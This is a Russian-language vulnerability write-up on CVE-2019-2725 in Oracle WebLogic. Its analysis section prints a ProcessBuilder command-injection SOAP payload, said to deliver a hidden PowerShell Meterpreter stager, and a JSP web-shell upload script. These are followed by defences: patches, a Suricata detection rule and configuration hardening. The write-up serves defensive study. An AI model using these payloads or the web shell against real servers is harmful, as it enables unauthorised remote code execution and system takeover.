Уязвимость BDU:2019-01748 (CVE-2019-2725) Oracle WebLogic Server
Уязвимость BDU:2019-01748 (CVE-2019-2725) затрагивает компоненты WLS9_ASYNC и WLS-WSAT сервера Oracle WebLogic. Проблема возникает из-за некорректной десериализации XML-данных в обработчиках асинхронных сервисов, позволяя удаленному злоумышленнику выполнить произвольный код через специальный HTTP-запрос.
Анализ уязвимости
Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки:
-
AV:N (Вектор атаки: Сетевой)
-
AC:L (Сложность эксплуатации: Низкая)
-
PR:N (Уровень привилегий: Не требуется)
-
UI:N (Вовлечение пользователя: Не требуется)
-
S:U (Влияние на другие системы: Не оказывает)
-
C:H/I:H/A:H (Полное нарушение CIA: Конфиденциальность/Целостность/Доступность)
Условия эксплуатации
-
Версии WebLogic Server 10.3.6.0 и 12.1.3.0
-
Открытые порты 7001/TCP (или другие используемые WLS)
-
Доступ к эндпоинтам
/_async/AsyncResponseServiceили/wls-wsat/CoordinatorPortType -
Отсутствие патчей апреля 2019 года (CPU Apr 2019)
Анализ эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2019-2725.
Эксплоит №1: Прямое выполнение команд
# Основной вектор - передача команды через ProcessBuilder
data = """
<work:WorkContext>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>%s</string></void> # Внедряемая команда
</array>
<void method="start"/>
</void>
</work:WorkContext>
""" % (exploit)
Механизм работы:
-
Создает SOAP-запрос с внедрением в WorkContext
-
Использует
java.lang.ProcessBuilderдля запуска командной строки -
Выполняет PowerShell-команду в скрытом режиме (
-w hidden -e) -
Base64-полезная нагрузка содержит staged Meterpreter
Эксплоит №2: Загрузка веб-шелла
# Полезная нагрузка для JSP-шелла
webshell = """<%@page import="java.util.*,java.io.*"%>
<%
if ("cmd".equals(request.getParameter("p))) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
// ... вывод результата ...
}
%>"""
# Запрос с внедрением файла
headers = {'fileName': '.s8Jn4gWlqX2c592.jsp'}
requests.post(url, data=webshell, headers=headers)
Особенности:
-
Загружает JSP-шелл в
/_async/ -
Поддерживает команды через параметр
?cmd=whoami -
Автоматическое определение версии WLS (10.3.6 vs 12.1.3)
-
Работает через пул потоков для массового сканирования
Защитные меры
-
Базовая защита:
-
Установить патч Oracle CPU April 2019
-
Отключить ненужные компоненты:
# В конфигурации domain.xml <component name="WLS9_ASYNC" enabled="false"/>
-
-
IPS правила (Suricata):
alert http any any -> $HOME_NET 7001 (msg:"CVE-2019-2725 - Oracle WebLogic RCE Attempt"; flow:to_server; content:"/_async/AsyncResponseService|2f 77 6c 73 2d 77 73 61 74 2f|"; content:"WorkContext"; nocase; pcre:"/<void class=\"java\.lang\.ProcessBuilder\"/i"; classtype:web-application-attack; sid:201901748; rev:2;) Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
-
Runtime-защита для Java:
Добавить вstartWebLogic.sh:
JAVA_OPTIONS=" -Dorg.apache.commons.jxpath.compiler.Compiler.PATH_COMPILER=restrict -Dweblogic.wsee.workarea.skip=true -Dcom.sun.org.apache.xml.internal.security.ignoreLineBreaks=true --illegal-access=deny "
-
Сетевые контрмеры:
-
Сегментировать сеть: доступ к WLS только из DMZ
-
TLS mutual authentication для админ-интерфейсов
-
Rate-limiting на Nginx:
location ~ ^/(_async|wls-wsat)/ { limit_req zone=weblogic burst=5 nodelay; deny all; # Разрешать только для доверенных IP } -